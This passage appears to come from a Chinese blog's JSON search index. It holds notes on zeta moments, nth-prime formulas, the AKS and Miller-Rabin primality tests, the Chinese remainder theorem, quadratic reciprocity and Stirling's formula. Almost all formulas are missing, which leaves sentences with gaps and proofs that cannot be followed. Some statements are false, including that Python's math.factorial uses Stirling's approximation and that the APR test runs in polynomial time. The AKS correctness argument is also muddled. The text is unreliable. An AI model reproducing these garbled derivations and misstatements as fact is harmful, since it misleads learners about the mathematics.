函数。取 为 的部分和，则 当 且 时，误差项可被控制，从而推测 。然而，这一论证缺乏严格性，尤其是 与 的差的估计涉及 函数的余项问题，与黎曼猜想密切相关。 应用与未解问题黎曼 函数的矩问题不仅具有理论意义，其结果可应用于零点分布、素数定理余项估计等领域。例如， 的上界可用于控制 函数在临界线上的最大增长速度，而下界则与零点的稠密性相关。 当前，矩问题的主要未解问题包括：证明对所有整数 ， ；确定常数 的显式表达式（目前仅 已知）；探索非整数 的情形，如 对应的平方根矩；建立矩与黎曼猜想的直接联系，例如通过矩的界估计零点间距。 这些问题的解决将深刻推动解析数论与相关领域的发展，同时为理解 函数的神秘性质提供新视角。正如黎曼 函数本身连接了数论与分析，矩问题的研究也架起了纯数学与理论物理的桥梁，展现了跨学科思维在解决复杂问题中的强大力量。未来，随着随机矩阵理论、解析数论方法的进一步融合，这一经典问题或许将迎来新的突破。 … …"},{"title":"","date":"2026-01-28T02:07:00.000Z","updated":"2026-01-28T02:10:00.000Z","comments":true,"path":"notes/Zeta/121.html","permalink":"https://blog.mhuig.top/notes/Zeta/121","excerpt":"","text":"第 n 个素数的通项公式 第 n 个素数的通项公式：从历史探索到现代理论 素数分布的神秘性长期吸引着数学家。尽管素数在自然数中看似随机分布，却存在深刻的规律性，而第 n 个素数的通项公式正是这种规律的集中体现。 历史背景：从欧几里得到黎曼的探索素数研究可追溯至公元前 300 年，欧几里得通过反证法证明了素数有无穷多个，但未触及分布规律。1737 年，欧拉发现了连接素数与解析函数的关键恒等式： ，首次揭示了素数分布的解析性质。1792 年，15 岁的高斯通过数值观察猜想素数密度约为 ，而勒让德于 1808 年提出经验公式 ，其中 表示不超过 x 的素数个数。 1859 年，黎曼在《论不大于给定数值的素数的个数》中引入黎曼 函数 ，将其解析延拓至全复平面，并建立了 函数零点分布与素数计数的深刻联系。这篇仅 9 页的论文开创了解析数论，为素数定理的证明奠定基础。1896 年，阿达玛与德・拉・瓦莱布桑利用 函数的整函数理论，独立证明了素数定理： 。1949 年，塞尔伯格和埃尔德什给出了不依赖复分析的初等证明，震惊数学界。 素数定理与第 n 个素数的渐近估计素数定理的等价形式素数定理有两种经典表述：第一种是计数形式 ，第二种是第 n 个素数形式 ，其中 表示第 n 个素数。两者通过反函数关系等价。若设 ，对素数定理作反演可得 。更精确的估计需引入对数积分函数 ，它比 更接近 。 严格不等式与误差估计1962 年，Rosser 和 Schoenfeld 证明了对 ， 。更精细的结果包括当 时 ，以及黎曼猜想成立时误差项可改进为 。乐茂华进一步证明了指数形式的不等式 ，对所有正整数 n 成立。这些结果定量刻画了 的增长速度。 精确公式的构建：从特征函数到黎曼显式公式基于素数特征函数的表达式利用威尔逊定理，可构造素数特征函数 。该函数在 j 为素数时取值 1，否则为 0。通过计数函数 ，第 n 个素数可表示为 。这是一个严格的通项公式，但因阶乘运算复杂度极高，无实际计算价值。类似地，可利用三角函数构造 ，其本质仍是威尔逊定理的变形。 黎曼素数计数函数的精确公式黎曼引入加权素数计数函数 （Mangoldt 函数的求和），并证明了精确表达式： 其中 遍历 函数的非平凡零点。通过 Perron 公式（复分析中的积分反演），可将素数计数函数 表示为： 这一公式将 精确分解为对数积分主项、零点贡献项和余项。对 进行反函数求解，理论上可得到 的精确表达式，但需处理无穷多个零点项，无法写成有限形式。 现代算法与计算实现尽管不存在实用的解析通项公式，现代数论算法可高效计算 。筛法与二分查找先用埃拉托斯特尼筛法计算 ，再通过二分法反演 ，复杂度约为 。素数定理区间估计利用 缩小搜索范围，结合概率素性测试（如 Miller-Rabin）验证素数。黎曼 函数零点计算通过数值计算前 N 个非平凡零点，可将 的误差控制在 ，进而改进 的近似。例如，当 时， ，素数定理估计值 ，相对误差仅 0.28%。 理论意义与未解问题第 n 个素数通项公式的探索反映了数学中存在性与构造性的深刻矛盾。黎曼公式在理论上精确描述了素数分布，但依赖于尚未完全理解的 函数零点；初等公式虽构造简单，却无计算价值。核心挑战包括黎曼猜想：若 函数非平凡零点实部均为 1 / 2，则 ，误差项可大幅改进。显式初等公式：是否存在仅含多项式、指数函数等初等函数的实用公式？目前已知的结果均涉及阶乘或取整运算，复杂度远超筛法。计算复杂性：AKS 算法证明素数判定属于 P 类问题，但 的计算是否存在多项式时间算法仍属开放问题。 结语从高斯的数值观察到黎曼的复分析框架，第 n 个素数的通项公式探索跨越了三个世纪。尽管严格的解析表达式依赖于尚未解决的数学难题，素数定理与现代算法已能提供高精度的近似。这一历程揭示了数学中 “描述” 与 “计算” 的辩证关系，有时最深刻的规律恰恰表现为渐近形式，而非显式公式。“素数定理必须以复分析证明，显露出其结果的深度”。未来，随着 函数零点分布研究的深入，我们或许能更接近素数分布的终极规律。"},{"title":"","date":"2026-01-28T03:07:00.000Z","updated":"2026-01-28T03:10:00.000Z","comments":true,"path":"notes/Zeta/122.html","permalink":"https://blog.mhuig.top/notes/Zeta/122","excerpt":"","text":"AKS 算法证明素数判定属于 P 类问题 AKS 算法：素数判定属于 P 类问题的证明 素数判定问题的计算复杂性长期悬而未决，直到 2002 年印度坎普尔理工学院的 Manindra Agrawal、Neeraj Kayal 和 Nitin Saxena 提出 AKS 算法，首次证明该问题可在多项式时间内解决。这一突破性成果以论文《素数属于 P》（PRIMES is in P）发表，直接回应了计算复杂性理论中 \"PRIMES 是否属于 P 类\" 的核心问题。AKS 算法的理论价值远超其实用性，它通过有限域上的多项式同余性质，将数论与算法理论深度结合，彻底改变了人们对素性检验问题的认知。 历史背景与问题演进素性检验的历史可追溯至古希腊时期的埃拉托色尼筛法，但其时间复杂度为 ，对大整数而言本质上是指数级增长。17 世纪费马小定理启发了概率性检验方法，如费马素性检验，虽将复杂度降至 ，却无法避免卡迈克尔数导致的误判。20 世纪 70 年代出现的米勒 - 拉宾检验虽降低了错误概率，但仍依赖未证明的广义黎曼猜想才能确保确定性。APR 算法虽实现多项式时间复杂度，却受限于特定数域且证明复杂。这些局限性使得 \"素数判定是否存在无条件多项式时间算法\" 成为理论计算机科学的重要开放问题。 2002 年，Agrawal、Kayal 和 Saxena（当时为本科生）基于有限域多项式理论提出 AKS 算法，其核心创新在于将素性判定转化为多项式同余方程的验证问题。该算法不依赖任何未证明猜想，在 时间内确定性地完成素性检验，最终确立 PRIMES 属于 P 类。这一成果被评价为 \"21 世纪最重要的算法之一\"，三人因此获得 2006 年哥德尔奖和富尔克森奖。 核心数学原理与定义AKS 算法的理论基础建立在以下关键定义和定理之上： 分圆多项式与阶的概念定义 1（阶，Order）：对于互素整数 和 ， 模 的阶 是满足 的最小正整数 。若 与 不互素，则 无定义。 定义 2（分圆多项式）： 次分圆多项式 定义为所有 次本原单位根的极小多项式，即 。其重要性质包括： 是整系数多项式 若 是素数且 ，则 当且仅当 AKS 主定理定理（AKS 主定理）：整数 是素数，当且仅当： 不是完全幂（即不存在 使得 ） 存在整数 满足 对所有 ，多项式同余式 成立 该定理将素性判定转化为三个条件的验证，其中多项式同余条件是核心。其本质是费马小定理在多项式环上的推广：对素数 ， 恒成立；通过模 运算，将无限项多项式比较转化为有限项比较，从而实现复杂度控制。 算法步骤与复杂度分析AKS 算法完整流程输入：整数 完全幂检查：若存在 使得 ，输出 \"合数\" 实现方法：对 从 2 到 枚举，通过二分法检查是否存在整数 满足 。时间复杂度 寻找合适的 ：找到最小的 使得 。若 ，输出 \"素数\" 理论依据：数论中的存在性定理保证这样的 不超过 。实际寻找时通过枚举 并验证对所有 ， 小因子检查：对 从 2 到 ，若 ，输出 \"合数\" 作用：排除与 不互素的合数，简化后续多项式验证 多项式同余验证：对 从 1 到 ，若 ，输出 \"合数\" 核心步骤：通过快速多项式乘法和模约简，在 时间内验证每个同余式 输出结果：若所有检查通过，输出 \"素数\" 复杂度推导步骤 2（寻找 ）：根据素数定理，在区间 内素数个数约为 。取 ，则需检查 个 ，每个检查涉及 次模指数运算，总复杂度 步骤 4（多项式验证）：需验证 个 值。由于 ，故 ，因此 的数量级为 。每个多项式同余验证通过分治乘法实现，复杂度 ，故总复杂度 整体复杂度：通过优化 的选取和多项式乘法算法，最终可将复杂度降至 。Lenstra 和 Pomerance 进一步改进到 ，但证明更为复杂 多项式同余核心证明AKS 算法正确性的关键在于证明：若 是合数且通过所有检查，则 必为素数幂。以下是关键步骤的形式化证明： 引理 1（素数的多项式同余性质）若 是素数，则对任意 ，有 证明：由二项式定理展开 。对素数 ，当 时， ，故 。由费马小定理 ，因此 。模 运算不影响该同余关系，因为两边多项式的对应系数模 均相等 引理 2（合数的排除条件）设 是合数且非素数幂， 满足 ，且对所有 有 ，则存在素因子 使得 证明：令 是 的最小素因子，设 。由于 非素数幂，存在另一个素因子 。由多项式同余条件模 成立，即 。根据有限域理论，多项式 在 中有至少 个根（即 ）。由因子定理， 的次数为 ，而其分裂域的阶不超过 。通过比较根的数量与域大小，可推出 ，与 矛盾 主定理证明（反证法）假设 是合数且通过所有 AKS 检查： 步骤 1 排除了素数幂，故 有至少两个不同素因子 步骤 3 确保 与 互素，故 有定义 引理 2 指出此时存在素因子 使得 ，但这与步骤 2 中 的选取矛盾 因此 必为素数 实际应用与理论影响尽管 AKS 算法在理论上具有里程碑意义，但其实际性能仍无法与概率算法竞争。测试显示，对于 5 位素数，AKS 算法需要 20-80 秒，而米勒 - 拉宾检验可在微秒级完成。这种差距源于多项式模运算的高常数因子，使得 AKS 算法主要用于理论证明而非实际素性检验 在理论层面，AKS 算法的贡献体现在： 计算复杂性：彻底解决 PRIMES 是否属于 P 类的问题，为其他数论问题的复杂性研究提供范式 算法设计：展示了代数方法在复杂性理论中的强大作用，启发后续如椭圆曲线素性检验等算法的改进 形式化验证：推动了 HOL4 等定理证明器对复杂算法的机械化验证，促进了数学证明的计算机辅助实现 AKS 算法的故事也具有深刻的启示意义：三位印度学者基于基础数学理论的创新，解决了困扰学界数十年的难题。这提醒我们，在追求实用算法的同时，纯理论研究往往能带来意想不到的突破。随着量子计算的发展，AKS 算法的思想或许会在新的计算模型中焕发新的生命力，正如它当初颠覆传统素性检验认知那样。"},{"title":"","date":"2026-01-31T13:07:00.000Z","updated":"2026-01-31T13:10:00.000Z","comments":true,"path":"notes/Zeta/123.html","permalink":"https://blog.mhuig.top/notes/Zeta/123","excerpt":"","text":"米勒 - 拉宾素性检验 米勒 - 拉宾素性检验 背景与历史发展素数判定是数论中的核心问题，传统试除法因时间复杂度为 而无法处理大整数。1976 年，卡内基梅隆大学的 Gary Lee Miller 基于广义黎曼猜想提出了一种确定性素性检验算法，但由于该假设尚未被证明，1980 年 Michael O. Rabin 将其改进为随机化算法，形成了如今广泛应用的米勒 - 拉宾素性检验 。该算法在密码学（如 RSA 密钥生成）和计算机科学中具有重要地位，其时间复杂度为 ，其中 为测试轮数，显著优于试除法 。 尽管 2002 年 Agrawal 等人提出了确定性多项式时间算法 AKS，但米勒 - 拉宾因其高效性和易于实现，仍是实际应用中的首选。其核心创新在于结合费马小定理与二次探测定理，有效解决了费马测试中卡迈克尔数导致的误判问题。 数学基础与定义核心定理费马小定理：若 是素数， 是与 互素的整数，则 。该定理给出了素数的必要条件，但逆命题不成立，例如卡迈克尔数 满足对所有 与 561 互素时 。 二次探测定理：若 是素数，且 ，则 或 。证明如下： ，由于 是素数，故 或 ，即 。 算法定义对于奇整数 ，将 分解为 （其中 为奇数）。若存在 （称为基），使得： ，或 存在 使得 ，则 可能是素数；否则 必为合数。满足上述条件的合数称为强伪素数（以 为基）。 详细推导过程算法正确性证明必要性：若 是素数，则对任意 与 互素，由费马小定理知 。考虑序列 。若 ，则条件 1 满足；否则，存在最小 使得 ，此时 ，由二次探测定理得 ，即条件 2 满足 。 充分性（概率保证）：对合数 ，能通过基 测试的概率不超过 。证明如下：设 是合数且通过基 的测试，则 或存在 使得 。若 有非平凡因子分解 ，则 在模 和模 下的阶需满足特定条件，导致可选 的比例受限。通过 次独立测试，误判概率降至 。 算法步骤推导 预处理：若 ，返回合数；若 ，返回素数；若 为偶数，返回合数 。 分解 ：将 表示为 ，其中 为奇数。例如， 时， ，故 。 随机选择基 ：从 中选取随机数 。对特定范围可使用固定基（如 64 位整数用 ）。 计算 ：若 或 ，通过测试；否则进入循环 。 二次探测循环：对 到 ，计算 。若 ，通过测试；若 ，未通过（因前一步 ）；循环结束后若 ，未通过 。 使用方法与实例算法流程以 （合数）和 为例： ，故 。 计算 。 循环 ： ； ： 。 最终 ，故 为合数 。 以 （素数）和 为例： ， 。 。 ： ，通过测试 。 确定性与优化 确定性测试：对 ，使用固定基集合可确保无误判 。 模幂优化：采用 Montgomery 模乘算法或快速幂（二进制 exponentiation）降低时间复杂度 。 错误概率控制：进行 轮测试，误判概率为 ，实际应用中 即可满足安全需求 。 应用与扩展米勒 - 拉宾算法在密码学中用于生成大素数（如 RSA 密钥），其高效性使其成为主流选择 。此外，结合 Lucas 序列的混合测试可进一步降低误判率 。理论上，若扩展黎曼假设成立，米勒检验可转化为确定性算法，但其复杂度高于随机化版本 。 尽管 AKS 算法是确定性多项式时间算法，但米勒 - 拉宾在实践中仍不可替代，尤其在处理 以上大整数时，其 复杂度显著优于 AKS 的 。未来随着量子计算发展，该算法在抗量子密码学中的角色值得进一步研究。 米勒 - 拉宾素性检验的成功，体现了随机化算法在解决经典数论问题中的深刻价值，以可控的概率误差换取计算效率的飞跃，这一思想也启发了密码学、算法设计等多个领域的创新。"},{"title":"","date":"2026-02-06T03:07:00.000Z","updated":"2026-02-06T03:10:00.000Z","comments":true,"path":"notes/Zeta/124.html","permalink":"https://blog.mhuig.top/notes/Zeta/124","excerpt":"","text":"中国剩余定理 中国剩余定理 中国剩余定理（Chinese Remainder Theorem, CRT）是数论中最具魅力的定理之一，其核心思想可追溯至公元 5 世纪的《孙子算经》。这一定理揭示了如何通过一组两两互素的模数及其对应的余数，唯一确定一个最小正整数解，体现了 \"分而治之\" 的数学智慧。从《孙子算经》中的 \"物不知数\" 问题到秦九韶的 \"大衍求一术\"，再到高斯在 19 世纪的严格证明，中国剩余定理不仅见证了中国古代数学的辉煌成就，更成为现代密码学、计算机科学等领域的基础工具。 历史渊源与古典表述从 \"物不知数\" 到 \"大衍求一术\"中国剩余定理的起源可明确追溯至南北朝时期的数学典籍《孙子算经》（约公元 4 世纪），其中记载的 \"物不知数\" 问题堪称中国古代数学的标志性问题：\"今有物不知其数，三三数之余二，五五数之余三，七七数之余二，问物几何？\"。其解答 \"二十三\" 的得出，蕴含了中国剩余定理的基本思想，但《孙子算经》仅给出了具体问题的算法，未形成系统理论。 这一问题的一般化解法直到南宋时期才由数学家秦九韶在《数书九章》（1247 年）中完成，他将其发展为 \"大衍总数术\"，其中核心的 \"大衍求一术\" 正是求解同余式组的通用算法。秦九韶的贡献在于：不仅解决了模数两两互素的情形，还提出了将非互素模数转化为互素情形的方法，其算法的严密性令现代数学家惊叹，德国数学史家康托曾称秦九韶为 \"最幸运的天才\"。这一成就比西方同类结果早约 550 年，直到 1801 年高斯在《算术探究》中才独立给出严格的数学证明。 古典解法的现代诠释《孙子算经》中 \"物不知数\" 问题的解法以四句歌诀传世：\"三人同行七十稀，五树梅花廿一枝，七子团圆正半月，除百零五便得知\"。其现代数学表述为： 70 是 5 与 7 的公倍数且模 3 余 1，即 21 是 3 与 7 的公倍数且模 5 余 1，即 15 是 3 与 5 的公倍数且模 7 余 1，即 105 是 3、5、7 的最小公倍数，即 问题的通解为 ，其中减去 105 的倍数以得到最小正整数解。这一解法已包含中国剩余定理的核心要素：构造满足特定余数条件的基础解，再通过线性组合获得通解。 数学定义与符号体系标准形式与存在唯一性中国剩余定理的现代数学表述如下：设 是两两互素的正整数，即对任意 ，有 。则对任意整数 ，同余方程组 存在唯一解 ，其中 为所有模数的乘积。这一解的唯一性意味着在区间 内存在且仅存在一个解，所有解可表示为 （ ）。 关键概念界定为严格表述定理，需明确以下概念： 模数互素：模数集合 中任意两个数的最大公约数为 1，这是定理成立的必要条件。若模数不互素，则方程组可能无解或有多个解。 衍母与衍数：秦九韶在 \"大衍总数术\" 中称 为 \"衍母\"，称 为 \"衍数\"，即排除第 个模数后的乘积。 乘率：满足 的整数 ，即 模 的乘法逆元，秦九韶称之为 \"乘率\"，其求法正是 \"大衍求一术\" 的核心。 多种推导方法的系统分析构造性证明：从局部解到全局解构造性证明是理解中国剩余定理最直观的方法，其核心思想是将复杂方程组分解为简单子问题，再通过线性组合获得通解。具体步骤如下： 计算衍母 ： ，表示解的周期。 计算衍数 ： ，显然 与 互素（因 不含 的素因子）。 求乘率 ：解同余式 ，由 知逆元 存在。 构造局部解 ： ，易验证 且 （ ）。 组合全局解： ，则 对所有 成立，最小正解为 。 以 \"物不知数\" 问题为例（ , ）： 求乘率： ；同理 局部解： , , 全局解： , 最小解 数学归纳法证明：从二元到多元数学归纳法提供了从简单到复杂的严格证明路径，先证明二元情形，再推广至多元。 基础步骤（ ）：考虑方程组 其中 。令 ，代入第二式得 。因 与 互素，存在唯一解 ，故 存在唯一解 。 归纳步骤：假设 个方程的方程组有唯一解 ，则 个方程的方程组等价于 其中 是前 个方程的解。因 与 互素（由归纳假设及模数两两互素），由二元情形知此方程组有唯一解 。 代数结构视角：环同构与剩余类从近世代数角度，中国剩余定理揭示了整数环与剩余类环直积之间的同构关系。定义映射 定理断言 是环同构。证明如下： 单射：若 ，则 对所有 ，因 两两互素，故 ，即 。 满射：对任意 ，由构造性证明知存在 使 。 同态： 且 显然成立。 这种同构关系意味着模 的算术运算可分解为模 的独立运算，这正是现代计算机中余数数制（RNS）的理论基础。 大衍求一术：乘率的构造性求法秦九韶的 \"大衍求一术\" 是中国剩余定理的精髓，其核心是求解乘率 ，即同余式 的解。秦九韶在《数书九章》中详述了这一算法，其步骤与现代辗转相除法异曲同工： 初始化：\"置奇右上，定居右下，立天元一于左上\"。即令右上为 （\"奇数\"），右下为 （\"定数\"），左上为 1（\"天元一\"），左下为 0。 辗转相除：\"以右上除右下，对得商数与左上一相生，入左下\"。即计算 ，更新左下为 左上 左下 ，然后交换右上与右下、左上与左下，重复此过程直至右上为 1。 结果提取：\"须使右上末后奇一而止，乃验左上所得，以为乘率\"。即当右上变为 1 时，左上的数即为乘率 。 实例：求解 （即 \"物不知数\" 中 ）： 初始：右上 ，右下 ，左上 = 1，左下 = 0 第一步： ，左下 = ，交换后右上 = 1，左上 = 1，左下 = 1 右上已为 1，故乘率 （验证： ） 这一算法展现了中国古代数学的机械化特征，与现代程序设计中的循环结构高度相似，其蕴含的构造性思想对数学机械化具有重要启发。 非互素模数情形的推广中国剩余定理要求模数两两互素，当此条件不满足时，方程组可能无解或有解但不唯一。设 ，则方程组有解的充要条件是对所有 ， 。此时可通过以下步骤求解： 合并方程组：将同余式两两合并，例如合并 和 ： 令 ，代入第二式得 记 ，若 则无解；否则两边同除以 得 因 与 互素，存在唯一解 ，故合并后方程为 迭代合并：重复上述过程，直至得到单个同余式或判断无解 实例：解方程组 ，检查 能否被 2 整除：是 合并得 ，代入第二式： 故 ，解为 现代应用与理论延伸密码学中的核心工具中国剩余定理在现代密码学中具有不可替代的地位： RSA 加密：利用 CRT 可将大整数模运算分解为小模数运算，加速解密过程。例如解密私钥运算 ，可先计算 和 （其中 ），再通过 CRT 合并结果，运算效率提升约 4 倍。 全同态加密：RNS - BFV 等方案基于 CRT 将密文表示为多个小模数余数，实现同态运算的并行化，大幅提升计算效率。 群签名：基于 CRT 构建的群签名方案可实现匿名性与可追踪性，每个成员的私钥对应不同模数的余数，通过 CRT 组合生成签名。 计算机科学与编码理论余数数制（RNS）：利用 CRT 将大整数表示为一组小模数余数，使加减法和乘法可并行计算，广泛应用于高性能计算和数字信号处理。例如一个 32 位整数可表示为模 的余数，所有运算在小模数下独立进行。 分布式计算：在分布式系统中，CRT 可用于合并不同节点的局部计算结果，例如分布式数据库中的查询优化。 数学理论的拓展多项式环上的 CRT：若 是两两互素的多项式，则对任意多项式 ，存在唯一多项式 满足 ，且 。这一结果是拉格朗日插值法的理论基础。 代数几何：在概形理论中，CRT 推广为 \"平展上同调\" 中的 excision 性质，是研究代数簇局部 - 整体性质的重要工具。 结语：古今智慧的对话从《孙子算经》的 \"物不知数\" 到现代密码学的全同态加密，中国剩余定理跨越两千年的时空，展现了数学思想的永恒魅力。秦九韶的 \"大衍求一术\" 不仅是算法机械化的典范，其 \"分而治之\" 的核心思想更成为解决复杂问题的普适方法。在数字化时代，这一古老定理通过余数数制、分布式计算等形式，继续为科技进步提供数学支撑。真正的数学智慧不仅能够解决特定问题，更能跨越时代，持续为人类知识体系贡献新的视角与方法。"},{"title":"","date":"2026-02-06T09:07:00.000Z","updated":"2026-02-06T09:10:00.000Z","comments":true,"path":"notes/Zeta/125.html","permalink":"https://blog.mhuig.top/notes/Zeta/125","excerpt":"","text":"二次互反律 从二次互反律到阿廷互反律再到朗兰兹纲领 数论的发展史中，互反律始终扮演着核心角色，其从二次互反律的初等形式到朗兰兹纲领的宏大框架，展现了人类对数学对称性的深刻探索。1796 年，19 岁的高斯在《算术研究》中首次严格证明二次互反律，将其称为数论中的黄金定律，并一生给出八种不同证法。这一发现不仅解决了二次同余方程可解性的判定问题，更揭示了素数之间隐藏的对称性，为后续数学统一理论埋下伏笔。 二次互反律：数论之酵母历史背景与基本概念二次互反律的研究始于 17 世纪费马对二次剩余的探索，欧拉在 18 世纪系统总结相关猜想，而勒让德于 1785 年首次用现代形式表述该定律，但证明存在漏洞。其核心问题是：对于两个不同奇素数 和 ，若已知 是模 的二次剩余，如何判断 是否为模 的二次剩余？ 设 为奇素数，整数 满足 。若存在整数 使得 ，则称 为模 的二次剩余，否则称为二次非剩余。勒让德符号将这一概念量化： 若是模的二次剩余若是模的二次非剩余若 该符号满足完全积性，即 ，为计算提供便利。 二次互反律的陈述与证明二次互反律的标准形式为：对于不同奇素数 ，有 辅以两个补充定律： 直观解释为：若 或 ，则 与 的二次剩余性相同；若两者均 ，则二次剩余性相反。 高斯引理证法高斯引理是证明二次互反律的经典工具，其核心思想将符号计算转化为计数问题。高斯引理：设 为奇素数， 与 互素，考虑 模 的绝对最小剩余（即落在 中），设其中负数的个数为 ，则 证明关键步骤： 设 为不同奇素数，考虑矩形区域 内的格点总数为 。 直线 将矩形分为两部分，下方格点数对应 中的 ，上方格点数对应 中的 。 由于直线不经过格点，有 ，故 ，从而得证。 高斯和证法高斯和提供了另一种深刻视角。定义高斯和： 可证 ，且 。通过计算 在不同扩张下的表达式，可直接导出互反律。 应用与意义二次互反律的直接价值在于简化勒让德符号计算，例如判断 是否可解： 故方程有解。其更深层意义在于开创了互反思想，这一定律无疑是数论中最核心的工具，其在历史上的地位无可替代。 阿廷互反律：类域论的巅峰从二次互反到类域论19 世纪末，库默尔研究分圆域引入理想数，戴德金发展代数数论，希尔伯特提出 12 个类域论问题。高木贞治在 1920 年代建立类域论，揭示数域阿贝尔扩张与该域理想类群的对应关系。阿廷于 1927 年提出阿廷互反律，作为类域论的核心，将二次互反律推广到一般阿贝尔扩张情形。 阿廷互反律的表述设 是数域的有限阿贝尔扩张，伽罗瓦群为 。阿廷互反律断言存在阿廷映射： 其中 是 的伊代尔群，该映射诱导同构 。对 中不分歧素理想 ，其像 是伽罗瓦群中的弗罗贝尼乌斯元，满足 （ 是 中含 的素理想）。 与二次互反律的联系当 ， 为二次域时，阿廷互反律退化为二次互反律。此时伽罗瓦群 ，阿廷映射将素数 映为 当且仅当 是模 的二次剩余，即 ，这恰与二次互反律一致。 阿廷 L 函数阿廷引入阿廷 L 函数，对伽罗瓦群表示 ，定义： 互反律保证当 是一维时，阿廷 L 函数等于某个赫克 L 函数，这为后续朗兰兹纲领的 L 函数对应埋下伏笔。 朗兰兹纲领：数学的大统一理论纲领的起源与核心思想1967 年，30 岁的朗兰兹在给韦伊的 17 页信中提出革命性构想：数论中的伽罗瓦表示与分析中的自守表示通过 L 函数建立一一对应。这一纲领试图统一数论、代数几何与群表示论，被称为数学的大统一理论。 朗兰兹互反猜想对一般数域 ，朗兰兹猜想：对伽罗瓦群 的任意 维表示 ，存在 的自守尖点表示 ，使得两者的 L 函数相等： 其中 是 的阿代尔环。当 且 是阿贝尔表示时，此即阿廷互反律；当 ， 且 来自椭圆曲线时，即为谷山 - 志村猜想，该猜想由怀尔斯 1994 年证明，从而解决费马大定理。 L 函数：连接各领域的纽带L 函数是朗兰兹纲领的核心。黎曼 函数、狄利克雷 L 函数、阿廷 L 函数、自守 L 函数等，通过纲领预言的对应关系形成统一体系。例如，椭圆曲线的 Hasse-Weil L 函数应等于某个模形式的 L 函数，而模形式是自守表示的特例。千禧年问题中的黎曼假设和 BSD 猜想均与 L 函数性质相关，凸显其重要性。 函子性猜想朗兰兹纲领的另一支柱是函子性猜想：若代数群 的 L 群同态诱导表示间的对应，则自守表示的诱导应与伽罗瓦表示的诱导相容。这一猜想蕴含诸多深刻结果，如对称幂 L 函数的解析延拓、拉马努金猜想等。 从互反到统一：数学思想的演进二次互反律揭示两个素数间的局部对称性，阿廷互反律将其扩展到整体阿贝尔扩张，而朗兰兹纲领则试图在非阿贝尔情形下建立更宏大的对应。这一演进体现了数学从特殊到一般、从孤立到统一的发展规律。数学的不同分支不过是同一深层结构的不同表现。当前，几何朗兰兹纲领、p 进朗兰兹纲领等方向持续拓展，或许未来某一天，这一宏伟蓝图将完全实现，为数学带来新的革命。 从高斯的黄金定律到朗兰兹的疯子来信，互反律的故事仍在继续。每一次推广都不仅解决了旧问题，更打开了通往新领域的大门。对于数学家而言，这既是挑战，也是无尽的灵感源泉。互反律的历史，就是代数数论的历史。"},{"title":"","date":"2026-02-06T12:07:00.000Z","updated":"2026-02-06T12:10:00.000Z","comments":true,"path":"notes/Zeta/126.html","permalink":"https://blog.mhuig.top/notes/Zeta/126","excerpt":"","text":"不知名的碎片 12 不知名的碎片 12 我们要算 注意恒等变形 在第二项里凑出 所以 于是原项 令 代入裂项： 把前几项写出来就看见消掉了： 中间的 会被上一项的 正好抵消，最后只剩： 第二坨变成双阶乘 所以 再用 用斯特林公式 用 代入 与 ，整理后所有 、 级别的大项都会相消。 来自 其中 来自对数斯特林里 与 的差，最终留下一个 因此 … 菲砖 菲赫金哥尔茨的《微积分学教程》第二卷 P221 P309"},{"title":"","date":"2026-02-07T03:07:00.000Z","updated":"2026-02-07T03:10:00.000Z","comments":true,"path":"notes/Zeta/127.html","permalink":"https://blog.mhuig.top/notes/Zeta/127","excerpt":"","text":"斯特林公式 斯特林公式：从历史到严格推导与应用 斯特林公式是阶乘函数在大数情形下的渐近近似，其核心形式为 （当 时）。这一公式不仅解决了阶乘计算的数值难题，更成为概率论、统计力学、组合数学等领域的基础工具。其历史可追溯至 18 世纪初，由法国数学家棣莫弗（Abraham de Moivre）在研究二项分布时首次提出近似形式，后经苏格兰数学家詹姆斯・斯特林（James Stirling）于 1730 年在《微分方法》（Methodus Differentialis）中完善常数项，最终确立了公式的现代形式。斯特林的工作源于对双纽线积分的数值计算，其对常数 的精确推导，标志着分析学中渐近分析方法的重要突破。 定义与核心形式斯特林公式的严格数学表述包含两种常用形式： 对数形式适用于理论分析，其表达式为： 其中 表示当 时趋于 0 的余项。 指数形式适用于数值计算，其表达式为： 展开式中的系数与伯努利数相关，构成斯特林级数，可通过欧拉 - 麦克劳林公式推导得到。 推导方法一：积分近似与 Wallis 公式第一步：对数阶乘的积分估计 对阶乘取自然对数，转化为求和问题： 将求和视为积分的近似，利用函数 的单调性，可得： 计算积分 ，代入得： 两端同除以 并取极限，可知 与 同阶，即 。 第二步：引入待定常数 假设 ，其中 为常数。取指数后得： 接下来需确定 。 第三步：利用 Wallis 公式定常数值 Wallis 公式表述为： 其中 ， 。将斯特林近似式代入分子分母： 代入 Wallis 公式并化简，最终解得 ，从而完成证明。 推导方法二：鞍点法与 Gamma 函数第一步：Gamma 函数的积分表示 阶乘可通过 Gamma 函数推广至非整数情形： 。令 ，作变量替换得： 被积函数 在 处取最大值（鞍点），此时 ， 。 第二步：泰勒展开与高斯积分近似 在鞍点 附近展开 ： 当 时，积分主要贡献来自 邻域，可将积分限扩展至 ，并近似 。此时积分转化为高斯积分： 代入 Gamma 函数表达式，即得： 此方法展现了鞍点法在渐近分析中的核心思想：通过指数函数的集中性，将积分简化为极值点附近的二次近似。 推导方法三：Bohr-Mollerup 定理与函数方程第一步：对数凸性与函数方程 Bohr-Mollerup 定理指出，满足以下条件的函数 唯一确定为 Gamma 函数： （函数方程）； ； 为凸函数。 构造函数 ，可证其单调递减且有下界，故极限 存在。结合函数方程与凸性条件，可唯一确定 ，从而导出斯特林公式。 误差分析与高精度展开斯特林公式的余项可通过欧拉 - 麦克劳林公式精确表示： 其中 为伯努利数（如 ， ），余项 满足 。例如，取 时，公式精度提升为： 该展开在数值计算中具有重要应用，例如当 时，斯特林近似值为 ，与精确值 的相对误差仅为 ，加入 修正项后误差降至 。 应用领域与科学意义斯特林公式的价值体现在理论与应用的双重层面： 在概率论与统计力学中，斯特林公式用于近似二项分布的概率质量函数，证明其渐近收敛于正态分布。例如，对二项分布 ，当 且 时，通过斯特林公式可推导出其密度函数趋于 。 在算法复杂度分析中，斯特林公式用于估计排列数、子集数等组合量的增长速度。例如，排序算法的时间复杂度 本质上源于阶乘的对数增长率。 在数值计算中，斯特林公式为计算器、编程语言中的阶乘函数提供底层实现。例如，Python 的 math.factorial 函数在大整数情形下即采用斯特林近似以平衡精度与效率。 在物理应用中，斯特林公式用于近似玻尔兹曼熵公式 ，其中 为系统微观状态数，通过阶乘的对数近似可简化熵的计算。 历史演变与学术影响斯特林公式的发展折射了数学分析的历史进程：棣莫弗在 1733 年的《机会学说》中得到 ，但未能确定常数 ；斯特林通过双纽线积分的数值计算发现 ，并在 1730 年的著作中发表完整结果。欧拉后续将阶乘推广为 Gamma 函数，为公式的严格化奠定基础。20 